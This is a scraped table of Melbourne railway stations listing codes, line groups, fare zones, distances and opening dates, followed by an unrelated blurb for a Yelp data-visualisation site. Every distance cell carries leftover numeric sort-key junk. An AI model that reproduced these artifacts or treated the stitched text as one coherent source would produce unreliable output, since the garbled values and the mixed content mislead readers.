| Aircraft |
ACF |
Northern & Cross-City |
Werribee |
2 |
7004222300000000000♠22.23 km (13.81 mi) |
7 March 1925 |
| Alamein |
ALM |
Burnley |
Alamein |
1 |
7004161200000000000♠16.12 km (10.02 mi) |
28 June 1948 |
| Albion |
ALB |
Northern |
Sunbury |
1 & 2 |
7004136500000000000♠13.65 km (8.48 mi) |
24 November 1919 |
| Alphington |
ALP |
Clifton Hill |
Hurstbridge |
1 |
7004104600000000000♠10.46 km (6.50 mi) |
8 May 1888 |
| Altona |
ALT |
Northern & Cross-City |
Werribee |
1 & 2 |
7004171500000000000♠17.15 km (10.66 mi) |
1 December 1917 |
| Anstey |
ASY |
Northern |
Upfield |
1 |
7003803999999999999♠8.04 km (5.00 mi) |
15 December 1926 |
| Armadale |
ARM |
Caulfield & Cross-City |
Frankston, Pakenham & Cranbourne |
1 |
7003867000000000000♠8.67 km (5.39 mi) |
7 May 1889 |
| Ascot Vale |
ASV |
Northern |
Craigieburn |
1 |
7003581000000000000♠5.81 km (3.61 mi) |
1 January 1889 |
| Ashburton |
ASH |
Burnley |
Alamein |
1 |
7004153900000000000♠15.39 km (9.56 mi) |
30 May 1890 |
| Aspendale |
ASP |
Caulfield & Cross-City |
Frankston |
2 |
7004303100000000000♠30.31 km (18.83 mi) |
1 April 1891 |
| Auburn |
AUB |
Burnley |
Alamein, Belgrave & Lilydale |
1 |
7003896000000000000♠8.96 km (5.57 mi) |
3 April 1882 |
| Balaclava |
BCV |
Caulfield & Cross-City |
Sandringham |
1 |
7003908000000000000♠9.08 km (5.64 mi) |
19 December 1859 |
| Batman |
BAT |
Northern |
Upfield |
1 & 2 |
7004112300000000000♠11.23 km (6.98 mi) |
8 October 1889 |
| Baxter |
BXR |
|
Stony Point |
2 |
7004519700000000000♠51.97 km (32.29 mi) |
1 October 1888 |
| Bayswater |
BAY |
Burnley |
Belgrave |
2 |
7004308400000000000♠30.84 km (19.16 mi) |
4 December 1889 |
| Beaconsfield |
BFD |
Caulfield |
Pakenham |
2 |
7004469900000000000♠46.99 km (29.20 mi) |
1 December 1879 |
| Belgrave |
BEG |
Burnley |
Belgrave |
2 |
7004426900000000000♠42.69 km (26.53 mi) |
18 December 1901 |
| Bell |
BEL |
Clifton Hill |
South Morang |
1 |
7004117000000000000♠11.70 km (7.27 mi) |
8 October 1889 |
| Bentleigh |
BEN |
Caulfield & Cross-City |
Frankston |
1 & 2 |
7004165200000000000♠16.52 km (10.27 mi) |
29 August 2016 |
| Berwick |
BEW |
Caulfield |
Pakenham |
2 |
7004445800000000000♠44.58 km (27.70 mi) |
8 October 1877 |
| Bittern |
BIT |
|
Stony Point |
2 |
7004686700000000000♠68.67 km (42.67 mi) |
17 September 1889 |
| Blackburn |
BBN |
Burnley |
Belgrave & Lilydale |
2 |
7004186700000000000♠18.67 km (11.60 mi) |
25 December 1882 |
| Bonbeach |
BON |
Caulfield & Cross-City |
Frankston |
2 |
7004346100000000000♠34.61 km (21.51 mi) |
15 February 1926 |
| Boronia |
BOR |
Burnley |
Belgrave |
2 |
7004333800000000000♠33.38 km (20.74 mi) |
5 November 1998 |
| Box Hill |
BOX |
Burnley |
Belgrave & Lilydale |
2 |
7004161600000000000♠16.16 km (10.04 mi) |
29 April 1983 |
| Brighton Beach |
BBH |
Caulfield & Cross-City |
Sandringham |
1 & 2 |
7004159700000000000♠15.97 km (9.92 mi) |
21 December 1861 |
| Broadmeadows |
BMS |
Northern |
Craigieburn |
2 |
7004168500000000000♠16.85 km (10.47 mi) |
1 February 1873 |
| Brunswick |
BWK |
Northern |
Upfield |
1 |
7003731000000000000♠7.31 km (4.54 mi) |
9 September 1884 |
| Burnley |
BLY |
Burnley |
Glen Waverley, Belgrave, Lilydale & Alamein |
1 |
7003533000000000000♠5.33 km (3.31 mi) |
1 May 1880 |
| Burwood |
BWD |
Burnley |
Alamein |
1 |
7004141700000000000♠14.17 km (8.80 mi) |
30 May 1890 |
| Camberwell |
CAM |
Burnley |
Alamein, Belgrave & Lilydale |
1 |
7004102100000000000♠10.21 km (6.34 mi) |
1 January 1919 |
| Canterbury |
CBY |
Burnley |
Belgrave & Lilydale |
1 & 2 |
7004121900000000000♠12.19 km (7.57 mi) |
1 December 1882 |
| Cardinia Road |
CDA |
Caulfield |
Pakenham |
2 |
7004536800000000000♠53.68 km (33.36 mi) |
22 April 2012 |
| Carnegie |
CNE |
Caulfield |
Pakenham & Cranbourne |
1 |
7004135300000000000♠13.53 km (8.41 mi) |
14 May 1879 |
| Carrum |
CAR |
Caulfield & Cross-City |
Frankston |
2 |
7004361000000000000♠36.10 km (22.43 mi) |
1 August 1882 |
| Caulfield |
CFD |
Caulfield & Cross-City |
Frankston, Pakenham & Cranbourne |
1 |
7004117900000000000♠11.79 km (7.33 mi) |
7 May 1879 |
| Chatham |
CHM |
Burnley |
Belgrave & Lilydale |
1 & 2 |
7004129500000000000♠12.95 km (8.05 mi) |
1 April 1927 |
| Chelsea |
CSA |
Caulfield & Cross-City |
Frankston |
2 |
7004333700000000000♠33.37 km (20.74 mi) |
4 February 1907 |
| Cheltenham |
CTM |
Caulfield & Cross-City |
Frankston |
2 |
7004224300000000000♠22.43 km (13.94 mi) |
19 December 1881 |
| Clayton |
CLA |
Caulfield |
Pakenham & Cranbourne |
2 |
7004205100000000000♠20.51 km (12.74 mi) |
6 January 1880 |
| Clifton Hill |
CHL |
Clifton Hill |
South Morang & Hurstbridge |
1 |
7003660000000000000♠6.60 km (4.10 mi) |
8 May 1888 |
| Coburg |
COB |
Northern |
Upfield |
1 |
7004101200000000000♠10.12 km (6.29 mi) |
9 September 1884 |
| Collingwood |
CWD |
Clifton Hill |
South Morang & Hurstbridge |
1 |
7003483000000000000♠4.83 km (3.00 mi) |
21 October 1901 |
| Coolaroo |
CLO |
Northern |
Craigieburn |
2 |
7004193100000000000♠19.31 km (12.00 mi) |
6 June 2010 |
| Craigieburn |
CGB |
Northern |
Craigieburn |
2 |
7004267000000000000♠26.70 km (16.59 mi) |
22 July 1872 |
| Cranbourne |
CBE |
Caulfield |
Cranbourne |
2 |
7004451200000000000♠45.12 km (28.04 mi) |
1 October 1888 |
| Crib Point |
CPT |
|
Stony Point |
2 |
7004728300000000000♠72.83 km (45.25 mi) |
17 December 1889 |
| Croxton |
CXT |
Clifton Hill |
South Morang |
1 |
7003961000000000000♠9.61 km (5.97 mi) |
8 October 1889 |
| Croydon |
CDN |
Burnley |
Lilydale |
2 |
7004310300000000000♠31.03 km (19.28 mi) |
1 December 1882 |
| Dandenong |
DNG |
Caulfield |
Pakenham & Cranbourne |
2 |
7004311900000000000♠31.19 km (19.38 mi) |
8 October 1877 |
| Darebin |
DBN |
Clifton Hill |
Hurstbridge |
1 |
7004112200000000000♠11.22 km (6.97 mi) |
8 May 1922 |
| Darling |
DLG |
Burnley |
Glen Waverley |
1 & 2 |
7004126800000000000♠12.68 km (7.88 mi) |
24 March 1890 |
| Dennis |
DEN |
Clifton Hill |
Hurstbridge |
1 |
7003840000000000000♠8.40 km (5.22 mi) |
4 February 1924 |
| Diamond Creek |
DCK |
Clifton Hill |
Hurstbridge |
2 |
7004326300000000000♠32.63 km (20.28 mi) |
25 June 1912 |
| Diggers Rest |
DIT |
Northern |
Sunbury |
2 |
7004326899999999999♠32.69 km (20.31 mi) |
2 October 1859 |
| Eaglemont |
EAG |
Clifton Hill |
Hurstbridge |
1 & 2 |
7004130900000000000♠13.09 km (8.13 mi) |
1 May 1926 |
| East Camberwell |
ECM |
Burnley |
Belgrave & Lilydale |
1 |
7004110800000000000♠11.08 km (6.88 mi) |
14 May 1900 |
| East Malvern |
EMV |
Burnley |
Glen Waverley |
1 & 2 |
7004137500000000000♠13.75 km (8.54 mi) |
3 February 1929 |
| East Richmond |
ERM |
Burnley |
Alamein, Belgrave, Glen Waverley & Lilydale |
1 |
7003437000000000000♠4.37 km (2.72 mi) |
24 September 1860 |
| Edithvale |
EDI |
Caulfield & Cross-City |
Frankston |
2 |
7004316700000000000♠31.67 km (19.68 mi) |
20 September 1919 |
| Elsternwick |
ELS |
Caulfield & Cross-City |
Sandringham |
1 |
7004109500000000000♠10.95 km (6.80 mi) |
1 October 1960 |
| Eltham |
ELT |
Clifton Hill |
Hurstbridge |
2 |
7004273900000000000♠27.39 km (17.02 mi) |
5 June 1902 |
| Epping |
EPP |
Clifton Hill |
South Morang |
2 |
7004224600000000000♠22.46 km (13.96 mi) |
23 December 1889 |
| Essendon |
ESD |
Northern |
Craigieburn |
1 |
7003801000000000000♠8.01 km (4.98 mi) |
1 January 1878 |
| Fairfield |
FFD |
Clifton Hill |
Hurstbridge |
1 |
7003915000000000000♠9.15 km (5.69 mi) |
8 May 1888 |
| Fawkner |
FAK |
Northern |
Upfield |
1 & 2 |
7004132300000000000♠13.23 km (8.22 mi) |
8 October 1889 |
| Ferntree Gully |
FTG |
Burnley |
Belgrave |
2 |
7004358900000000000♠35.89 km (22.30 mi) |
4 December 1889 |
| Flagstaff |
FGS |
City Loop |
All except Williamstown, Stony Point & Flemington Racecourse |
1 |
7003129000000000000♠1.29 km (0.80 mi) |
27 May 1985 |
| Flemington Bridge |
FBD |
Northern |
Upfield |
1 |
7003405999999999999♠4.06 km (2.52 mi) |
10 April 1885 |
| Flemington Racecourse |
RCE |
Northern |
Flemington Racecourse |
1 |
7003660000000000000♠6.60 km (4.10 mi) |
28 February 1861 |
| Flinders Street |
FSS |
City Loop |
All except Stony Point |
1 |
7003123000000000000♠1.23 km (0.76 mi) |
12 September 1854 |
| Footscray |
FSY |
Northern & Cross-City |
Sunbury, Werribee & Williamstown |
1 |
7003562000000000000♠5.62 km (3.49 mi) |
16 September 1900 |
| Frankston |
FKN |
Caulfield & Cross-City |
Frankston & Stony Point |
2 |
7004439200000000000♠43.92 km (27.29 mi) |
1 August 1882 |
| Gardenvale |
GVE |
Caulfield & Cross-City |
Sandringham |
1 |
7004123500000000000♠12.35 km (7.67 mi) |
10 December 1906 |
| Gardiner |
GAR |
Burnley |
Glen Waverley |
1 |
7004106100000000000♠10.61 km (6.59 mi) |
16 January 2016 |
| Ginifer |
GIN |
Northern |
Sunbury |
2 |
7004161900000000000♠16.19 km (10.06 mi) |
31 October 1982 |
| Glen Iris |
GIR |
Burnley |
Glen Waverley |
1 |
7004115200000000000♠11.52 km (7.16 mi) |
24 March 1890 |
| Glen Waverley |
GWY |
Burnley |
Glen Waverley |
2 |
7004222300000000000♠22.23 km (13.81 mi) |
29 November 1964 |
| Glenbervie |
GBV |
Northern |
Craigieburn |
1 |
7003913000000000000♠9.13 km (5.67 mi) |
11 September 1922 |
| Glenferrie |
GFE |
Burnley |
Alamein, Belgrave & Lilydale |
1 |
7003811999999999999♠8.12 km (5.05 mi) |
3 April 1882 |
| Glenhuntly |
GHY |
Caulfield & Cross-City |
Frankston |
1 |
7004134600000000000♠13.46 km (8.36 mi) |
19 December 1881 |
| Glenroy |
GRY |
Northern |
Craigieburn |
1 & 2 |
7004144000000000000♠14.40 km (8.95 mi) |
24 January 1887 |
| Gowrie |
GOW |
Northern |
Upfield |
2 |
7004147300000000000♠14.73 km (9.15 mi) |
16 October 1928 |
| Greensborough |
GRN |
Clifton Hill |
Hurstbridge |
2 |
7004229300000000000♠22.93 km (14.25 mi) |
5 June 1902 |
| Hallam |
HLM |
Caulfield |
Pakenham |
2 |
7004374500000000000♠37.45 km (23.27 mi) |
1 December 1880 |
| Hampton |
HAM |
Caulfield & Cross-City |
Sandringham |
2 |
7004177000000000000♠17.70 km (11.00 mi) |
2 September 1882 |
| Hartwell |
HWL |
Burnley |
Alamein |
1 |
7004133000000000000♠13.30 km (8.26 mi) |
7 May 1906 |
| Hastings |
HST |
|
Stony Point |
2 |
7004649899999999999♠64.99 km (40.38 mi) |
10 September 1889 |
| Hawksburn |
HKN |
Caulfield & Cross-City |
Frankston, Pakenham & Cranbourne |
1 |
7003663000000000000♠6.63 km (4.12 mi) |
7 May 1889 |
| Hawthorn |
HAW |
Burnley |
Alamein, Belgrave & Lilydale |
1 |
7003689000000000000♠6.89 km (4.28 mi) |
13 April 1861 |
| Heatherdale |
HTD |
Burnley |
Belgrave & Lilydale |
2 |
7004242100000000000♠24.21 km (15.04 mi) |
7 September 1958 |
| Heathmont |
HMT |
Burnley |
Belgrave |
2 |
7004281200000000000♠28.12 km (17.47 mi) |
1 May 1926 |
| Heidelberg |
HDB |
Clifton Hill |
Hurstbridge |
1 & 2 |
7004140400000000000♠14.04 km (8.72 mi) |
8 May 1888 |
| Heyington |
HEY |
Burnley |
Glen Waverley |
1 |
7003712000000000000♠7.12 km (4.42 mi) |
24 March 1890 |
| Highett |
HIG |
Caulfield & Cross-City |
Frankston |
2 |
7004200600000000000♠20.06 km (12.46 mi) |
19 December 1881 |
| Holmesglen |
HOL |
Burnley |
Glen Waverley |
1 & 2 |
7004156500000000000♠15.65 km (9.72 mi) |
5 May 1930 |
| Hoppers Crossing |
HCG |
Northern & Cross-City |
Werribee |
2 |
7004276700000000000♠27.67 km (17.19 mi) |
16 November 1970 |
| Hughesdale |
HUG |
Caulfield |
Pakenham & Cranbourne |
1 & 2 |
7004154800000000000♠15.48 km (9.62 mi) |
28 February 1928 |
| Huntingdale |
HUN |
Caulfield |
Pakenham & Cranbourne |
1 & 2 |
7004182800000000000♠18.28 km (11.36 mi) |
25 June 1927 |
| Hurstbridge |
HBE |
Clifton Hill |
Hurstbridge |
2 |
7004380200000000000♠38.02 km (23.62 mi) |
25 June 1912 |
| Ivanhoe |
IVA |
Clifton Hill |
Hurstbridge |
1 & 2 |
7004121400000000000♠12.14 km (7.54 mi) |
8 May 1888 |
| Jacana |
JAC |
Northern |
Craigieburn |
2 |
7004154300000000000♠15.43 km (9.59 mi) |
15 February 1959 |
| Jewell |
JWL |
Northern |
Upfield |
1 |
7003650000000000000♠6.50 km (4.04 mi) |
9 September 1884 |
| Jolimont |
JLI |
Clifton Hill |
South Morang & Hurstbridge |
1 |
7003291000000000000♠2.91 km (1.81 mi) |
21 October 1901 |
| Jordanville |
JOR |
Burnley |
Glen Waverley |
2 |
7004176100000000000♠17.61 km (10.94 mi) |
5 May 1930 |
| Kananook |
KAN |
Caulfield & Cross-City |
Frankston |
2 |
7004414400000000000♠41.44 km (25.75 mi) |
25 August 1975 |
| Keilor Plains |
KPL |
Northern |
Sunbury |
2 |
7004196200000000000♠19.62 km (12.19 mi) |
27 January 2002 |
| Kensington |
KEN |
Northern |
Craigieburn |
1 |
7003358000000000000♠3.58 km (2.22 mi) |
1 November 1860 |
| Keon Park |
KPK |
Clifton Hill |
South Morang |
2 |
7004175400000000000♠17.54 km (10.90 mi) |
16 December 1929 |
| Kooyong |
KYG |
Burnley |
Glen Waverley |
1 |
7003828000000000000♠8.28 km (5.14 mi) |
24 March 1890 |
| Laburnum |
LAB |
Burnley |
Belgrave & Lilydale |
2 |
7004178200000000000♠17.82 km (11.07 mi) |
13 July 1958 |
| Lalor |
LAL |
Clifton Hill |
South Morang |
2 |
7004207200000000000♠20.72 km (12.87 mi) |
1 October 1949 |
| Laverton |
LAV |
Northern & Cross-City |
Werribee |
1 & 2 |
7004210100000000000♠21.01 km (13.06 mi) |
1 July 1886 |
| Leawarra |
LWA |
|
Stony Point |
2 |
7004457700000000000♠45.77 km (28.44 mi) |
1959 |
| Lilydale |
LIL |
Burnley |
Lilydale |
2 |
7004390700000000000♠39.07 km (24.28 mi) |
1 December 1882 |
| Lynbrook |
LBK |
Caulfield |
Cranbourne |
2 |
7004395000000000000♠39.50 km (24.54 mi) |
22 April 2012 |
| Macaulay |
MAC |
Northern |
Upfield |
1 |
7003325000000000000♠3.25 km (2.02 mi) |
1 December 1887 |
| Macleod |
MCD |
Clifton Hill |
Hurstbridge |
2 |
7004177100000000000♠17.71 km (11.00 mi) |
1 March 1911 |
| Malvern |
MAL |
Caulfield & Cross-City |
Frankston, Pakenham & Cranbourne |
1 |
7004101100000000000♠10.11 km (6.28 mi) |
7 May 1889 |
| McKinnon |
MCK |
Caulfield & Cross-City |
Frankston |
1 & 2 |
7004157200000000000♠15.72 km (9.77 mi) |
1 August 2016 |
| Melbourne Central |
MCE |
City Loop |
All except Williamstown, Stony Point & Flemington Racecourse |
1 |
7003190000000000000♠1.90 km (1.18 mi) |
24 January 1981 |
| Mentone |
MEN |
Caulfield & Cross-City |
Frankston |
2 |
7004243600000000000♠24.36 km (15.14 mi) |
19 December 1881 |
| Merinda Park |
MPK |
Caulfield |
Cranbourne |
2 |
7004423500000000000♠42.35 km (26.32 mi) |
24 March 1995 |
| Merlynston |
MYN |
Northern |
Upfield |
1 & 2 |
7004124900000000000♠12.49 km (7.76 mi) |
8 October 1889 |
| Merri |
MER |
Clifton Hill |
South Morang |
1 |
7003803999999999999♠8.04 km (5.00 mi) |
8 October 1889 |
| Middle Brighton |
MBN |
Caulfield & Cross-City |
Sandringham |
1 & 2 |
7004145200000000000♠14.52 km (9.02 mi) |
21 December 1861 |
| Middle Footscray |
MFY |
Northern |
Sunbury |
1 |
7003661000000000000♠6.61 km (4.11 mi) |
10 December 1906 |
| Mitcham |
MCH |
Burnley |
Belgrave & Lilydale |
2 |
7004224100000000000♠22.41 km (13.92 mi) |
25 January 2014 |
| Mont Albert |
MAB |
Burnley |
Belgrave & Lilydale |
1 & 2 |
7004146300000000000♠14.63 km (9.09 mi) |
11 August 1890 |
| Montmorency |
MMY |
Clifton Hill |
Hurstbridge |
2 |
7004247500000000000♠24.75 km (15.38 mi) |
5 September 1923 |
| Moonee Ponds |
MPD |
Northern |
Craigieburn |
1 |
7003689000000000000♠6.89 km (4.28 mi) |
1 November 1860 |
| Moorabbin |
MRN |
Caulfield & Cross-City |
Frankston |
2 |
7004184500000000000♠18.45 km (11.46 mi) |
1 January 1959 |
| Mooroolbark |
MLK |
Burnley |
Lilydale |
2 |
7004343800000000000♠34.38 km (21.36 mi) |
10 October 1887 |
| Mordialloc |
MOR |
Caulfield & Cross-City |
Frankston |
2 |
7004276900000000000♠27.69 km (17.21 mi) |
19 December 1881 |
| Moreland |
MLD |
Northern |
Upfield |
1 |
7003878000000000000♠8.78 km (5.46 mi) |
9 September 1884 |
| Morradoo |
MRO |
|
Stony Point |
2 |
7004709600000000000♠70.96 km (44.09 mi) |
7 November 1960 |
| Mount Waverley |
MWY |
Burnley |
Glen Waverley |
2 |
7004190000000000000♠19.00 km (11.81 mi) |
5 May 1930 |
| Murrumbeena |
MRB |
Caulfield |
Pakenham & Cranbourne |
1 |
7004144200000000000♠14.42 km (8.96 mi) |
14 May 1879 |
| Narre Warren |
NWA |
Caulfield |
Pakenham |
2 |
7004408000000000000♠40.80 km (25.35 mi) |
2 June 1995 |
| Newmarket |
NKT |
Northern |
Craigieburn |
1 |
7003430000000000000♠4.30 km (2.67 mi) |
1 January 1886 |
| Newport |
NPT |
Northern & Cross-City |
Werribee & Williamstown |
1 |
7004105600000000000♠10.56 km (6.56 mi) |
1 March 1859 |
| Noble Park |
NPK |
Caulfield |
Pakenham & Cranbourne |
2 |
7004273800000000000♠27.38 km (17.01 mi) |
1 January 1968 |
| North Brighton |
NBN |
Caulfield & Cross-City |
Sandringham |
1 & 2 |
7004132400000000000♠13.24 km (8.23 mi) |
19 December 1859 |
| North Melbourne |
NME |
Northern & Cross-City |
Craigieburn, Upfield, Werribee, Williamstown, Sunbury, Flemington Racecourse |
1 |
7003172000000000000♠1.72 km (1.07 mi) |
9 June 1886 |
| North Richmond |
NRM |
Clifton Hill |
South Morang & Hurstbridge |
1 |
7003416000000000000♠4.16 km (2.58 mi) |
21 October 1901 |
| North Williamstown |
NWN |
Northern |
Williamstown |
1 |
7004122700000000000♠12.27 km (7.62 mi) |
1 February 1859 |
| Northcote |
NCE |
Clifton Hill |
South Morang |
1 |
7003897000000000000♠8.97 km (5.57 mi) |
8 October 1889 |
| Nunawading |
NWG |
Burnley |
Belgrave & Lilydale |
2 |
7004211200000000000♠21.12 km (13.12 mi) |
11 January 2010 |
| Oak Park |
OKP |
Northern |
Craigieburn |
1 & 2 |
7004128800000000000♠12.88 km (8.00 mi) |
13 August 1956 |
| Oakleigh |
OAK |
Caulfield |
Pakenham & Cranbourne |
1 & 2 |
7004165900000000000♠16.59 km (10.31 mi) |
8 October 1877 |
| Officer |
OFC |
Caulfield |
Pakenham |
2 |
7004514500000000000♠51.45 km (31.97 mi) |
4 August 1881 |
| Ormond |
OMD |
Caulfield & Cross-City |
Frankston |
1 & 2 |
7004149000000000000♠14.90 km (9.26 mi) |
29 August 2016 |
| Pakenham |
PKM |
Caulfield |
Pakenham |
2 |
7004581900000000000♠58.19 km (36.16 mi) |
8 October 1877 |
| Parkdale |
PKD |
Caulfield & Cross-City |
Frankston |
2 |
7004259300000000000♠25.93 km (16.11 mi) |
1 September 1919 |
| Parliament |
PAR |
City Loop |
All except Williamstown, Stony Point & Flemington Racecourse |
1 |
7003303000000000000♠3.03 km (1.88 mi) |
22 January 1983 |
| Pascoe Vale |
PVL |
Northern |
Craigieburn |
1 & 2 |
7004112700000000000♠11.27 km (7.00 mi) |
10 November 1885 |
| Patterson |
PAT |
Caulfield & Cross-City |
Frankston |
2 |
7004173900000000000♠17.39 km (10.81 mi) |
28 May 1961 |
| Prahran |
PRA |
Caulfield & Cross-City |
Sandringham |
1 |
7003672000000000000♠6.72 km (4.18 mi) |
22 December 1860 |
| Preston |
PRE |
Clifton Hill |
South Morang |
1 & 2 |
7004124700000000000♠12.47 km (7.75 mi) |
8 October 1889 |
| Regent |
REG |
Clifton Hill |
South Morang |
1 & 2 |
7004136100000000000♠13.61 km (8.46 mi) |
8 October 1889 |
| Reservoir |
RES |
Clifton Hill |
South Morang |
1 & 2 |
7004149400000000000♠14.94 km (9.28 mi) |
8 October 1889 |
| Richmond |
RMD |
Caulfield & Cross-City |
Sandringham, Frankston, Pakenham, Cranbourne, Alamein, Glen Waverley, Belgrave & Lilydale |
1 |
7003380000000000000♠3.80 km (2.36 mi) |
26 March 1960 |
| Ringwood |
RWD |
Burnley |
Belgrave & Lilydale |
2 |
7004257600000000000♠25.76 km (16.01 mi) |
29 January 2016 |
| Ringwood East |
RWE |
Burnley |
Lilydale |
2 |
7004277600000000000♠27.76 km (17.25 mi) |
30 June 1984 |
| Ripponlea |
RIP |
Caulfield & Cross-City |
Sandringham |
1 |
7003983000000000000♠9.83 km (6.11 mi) |
1 May 1912 |
| Riversdale |
RIV |
Burnley |
Alamein |
1 |
7004117300000000000♠11.73 km (7.29 mi) |
30 May 1890 |
| Rosanna |
ROS |
Clifton Hill |
Hurstbridge |
2 |
7004158000000000000♠15.80 km (9.82 mi) |
1 October 1927 |
| Roxburgh Park |
RXP |
Northern |
Craigieburn |
2 |
7004220000000000000♠22.00 km (13.67 mi) |
30 September 2007 |
| Royal Park |
RPK |
Northern |
Upfield |
1 |
7003546000000000000♠5.46 km (3.39 mi) |
9 September 1884 |
| Rushall |
RUS |
Clifton Hill |
South Morang |
1 |
7003754000000000000♠7.54 km (4.69 mi) |
1 January 1927 |
| Ruthven |
RUT |
Clifton Hill |
South Morang |
2 |
7004159500000000000♠15.95 km (9.91 mi) |
5 August 1963 |
| Sandown Park |
SNP |
Caulfield |
Pakenham & Cranbourne |
2 |
7004256800000000000♠25.68 km (15.96 mi) |
7 May 1889 |
| Sandringham |
SHM |
Caulfield & Cross-City |
Sandringham |
2 |
7004191600000000000♠19.16 km (11.91 mi) |
2 September 1887 |
| Seaford |
SEA |
Caulfield & Cross-City |
Frankston |
2 |
7004393500000000000♠39.35 km (24.45 mi) |
1 December 1913 |
| Seaholme |
SHE |
Northern & Cross-City |
Werribee |
1 |
7004161299999999999♠16.13 km (10.02 mi) |
26 January 1920 |
| Seddon |
SEN |
Northern & Cross-City |
Werribee & Williamstown |
1 |
7003662000000000000♠6.62 km (4.11 mi) |
10 December 1906 |
| Showgrounds |
SGS |
Northern |
Flemington Racecourse |
1 |
7003570000000000000♠5.70 km (3.54 mi) |
7 November 1883 |
| Somerville |
SVE |
|
Stony Point |
2 |
7004558200000000000♠55.82 km (34.68 mi) |
10 September 1889 |
| South Kensington |
SKN |
Northern & Cross-City |
Sunbury, Werribee & Williamstown |
1 |
7003349000000000000♠3.49 km (2.17 mi) |
11 March 1891 |
| South Morang |
SMG |
Clifton Hill |
South Morang |
2 |
7004259900000000000♠25.99 km (16.15 mi) |
22 April 2012 |
| South Yarra |
SYR |
Caulfield & Cross-City |
Sandringham, Frankston, Pakenham & Cranbourne |
1 |
7003541000000000000♠5.41 km (3.36 mi) |
22 December 1860 |
| Southern Cross |
SSS |
City Loop |
All except Stony Point |
1 |
5000000000000000000♠0.00 km (0 mi) |
17 January 1859 |
| Spotswood |
SPT |
Northern & Cross-City |
Werribee & Williamstown |
1 |
7003922000000000000♠9.22 km (5.73 mi) |
1 December 1878 |
| Springvale |
SPG |
Caulfield |
Pakenham & Cranbourne |
2 |
7004245000000000000♠24.50 km (15.22 mi) |
22 April 2014 |
| St Albans |
SAB |
Northern |
Sunbury |
2 |
7004178100000000000♠17.81 km (11.07 mi) |
22 November 1959 |
| Stony Point |
STY |
|
Stony Point |
2 |
7004709600000000000♠70.96 km (44.09 mi) |
17 December 1889 |
| Strathmore |
SME |
Northern |
Craigieburn |
1 |
7003979000000000000♠9.79 km (6.08 mi) |
28 October 1890 |
| Sunbury |
SUY |
Northern |
Sunbury |
2 |
7004382800000000000♠38.28 km (23.79 mi) |
10 February 1859 |
| Sunshine |
SUN |
Northern |
Sunbury |
1 & 2 |
7004122500000000000♠12.25 km (7.61 mi) |
7 September 1885 |
| Surrey Hills |
SHL |
Burnley |
Belgrave & Lilydale |
1 & 2 |
7004138400000000000♠13.84 km (8.60 mi) |
13 August 1883 |
| Syndal |
SYN |
Burnley |
Glen Waverley |
2 |
7004208900000000000♠20.89 km (12.98 mi) |
5 May 1930 |
| Tecoma |
TCM |
Burnley |
Belgrave |
2 |
7004413400000000000♠41.34 km (25.69 mi) |
1 February 1924 |
| Thomastown |
TSN |
Clifton Hill |
South Morang |
2 |
7004190900000000000♠19.09 km (11.86 mi) |
28 November 2011 |
| Thornbury |
TBY |
Clifton Hill |
South Morang |
1 |
7004106200000000000♠10.62 km (6.60 mi) |
8 October 1889 |
| Toorak |
TOR |
Caulfield & Cross-City |
Frankston, Pakenham & Cranbourne |
1 |
7003791000000000000♠7.91 km (4.92 mi) |
7 May 1889 |
| Tooronga |
TGA |
Burnley |
Glen Waverley |
1 |
7003959000000000000♠9.59 km (5.96 mi) |
24 March 1890 |
| Tottenham |
TOT |
Northern |
Sunbury |
1 |
7003910000000000000♠9.10 km (5.65 mi) |
2 March 1891 |
| Tyabb |
TAB |
|
Stony Point |
2 |
7004598400000000000♠59.84 km (37.18 mi) |
10 September 1889 |
| Upfield |
UFD |
Northern |
Upfield |
2 |
7004188600000000000♠18.86 km (11.72 mi) |
8 October 1889 |
| Upper Ferntree Gully |
UFG |
Burnley |
Belgrave |
2 |
7004376600000000000♠37.66 km (23.40 mi) |
4 December 1889 |
| Upwey |
UPW |
Burnley |
Belgrave |
2 |
7004401800000000000♠40.18 km (24.97 mi) |
3 June 1901 |
| Victoria Park |
VPK |
Clifton Hill |
South Morang & Hurstbridge |
1 |
7003542000000000000♠5.42 km (3.37 mi) |
8 May 1888 |
| Watergardens |
WGS |
Northern |
Sunbury |
2 |
7004232800000000000♠23.28 km (14.47 mi) |
26 January 2002 |
| Watsonia |
WAT |
Clifton Hill |
Hurstbridge |
2 |
7004199200000000000♠19.92 km (12.38 mi) |
12 August 1979 |
| Wattle Glen |
WTT |
Clifton Hill |
Hurstbridge |
2 |
7004350600000000000♠35.06 km (21.79 mi) |
25 June 1912 |
| Werribee |
WER |
Northern & Cross-City |
Werribee |
2 |
7004317000000000000♠31.70 km (19.70 mi) |
25 June 1857 |
| West Footscray |
WFY |
Northern |
Sunbury |
1 |
7003716000000000000♠7.16 km (4.45 mi) |
14 October 2013 |
| West Richmond |
WRM |
Clifton Hill |
South Morang & Hurstbridge |
1 |
7003366000000000000♠3.66 km (2.27 mi) |
21 October 1901 |
| Westall |
WTL |
Caulfield |
Pakenham & Cranbourne |
2 |
7004226400000000000♠22.64 km (14.07 mi) |
16 October 1964 |
| Westgarth |
WTG |
Clifton Hill |
Hurstbridge |
1 |
7003755000000000000♠7.55 km (4.69 mi) |
8 May 1888 |
| Westona |
WTO |
Northern & Cross-City |
Werribee |
1 & 2 |
7004185300000000000♠18.53 km (11.51 mi) |
21 January 1985 |
| Williams Landing |
WLD |
Northern & Cross-City |
Werribee |
2 |
7004234500000000000♠23.45 km (14.57 mi) |
28 April 2013 |
| Williamstown |
WIL |
Northern |
Williamstown |
1 |
7004142000000000000♠14.20 km (8.82 mi) |
17 January 1859 |
| Williamstown Beach |
WBH |
Northern |
Williamstown |
1 |
7004131800000000000♠13.18 km (8.19 mi) |
7 August 1889 |
| Willison |
WSN |
Burnley |
Alamein |
1 |
7004121500000000000♠12.15 km (7.55 mi) |
8 June 1908 |
| Windsor |
WIN |
Caulfield & Cross-City |
Sandringham |
1 |
7003749000000000000♠7.49 km (4.65 mi) |
19 December 1859 |
| Yarraman |
YMN |
Caulfield |
Pakenham & Cranbourne |
2 |
7004290400000000000♠29.04 km (18.04 mi) |
21 December 1976 |
| Yarraville |
YVE |
Northern & Cross-City |
Werribee & Williamstown |
1 |
7003754000000000000♠7.54 km (4.69 mi) |
20 November 1871 |


We implemented search and comparison system that enables you to find what you are seeking and help you make decisions by presenting the differences. We also took the dataset from Yelp Dataset Challenge and turned those data into intuitive visualization and bring you insight about popular businesses in each business category.
Start ExplorationExplores the Yelp dataset to gain the insight of business. Provides the intuitive interactive visulization for users.
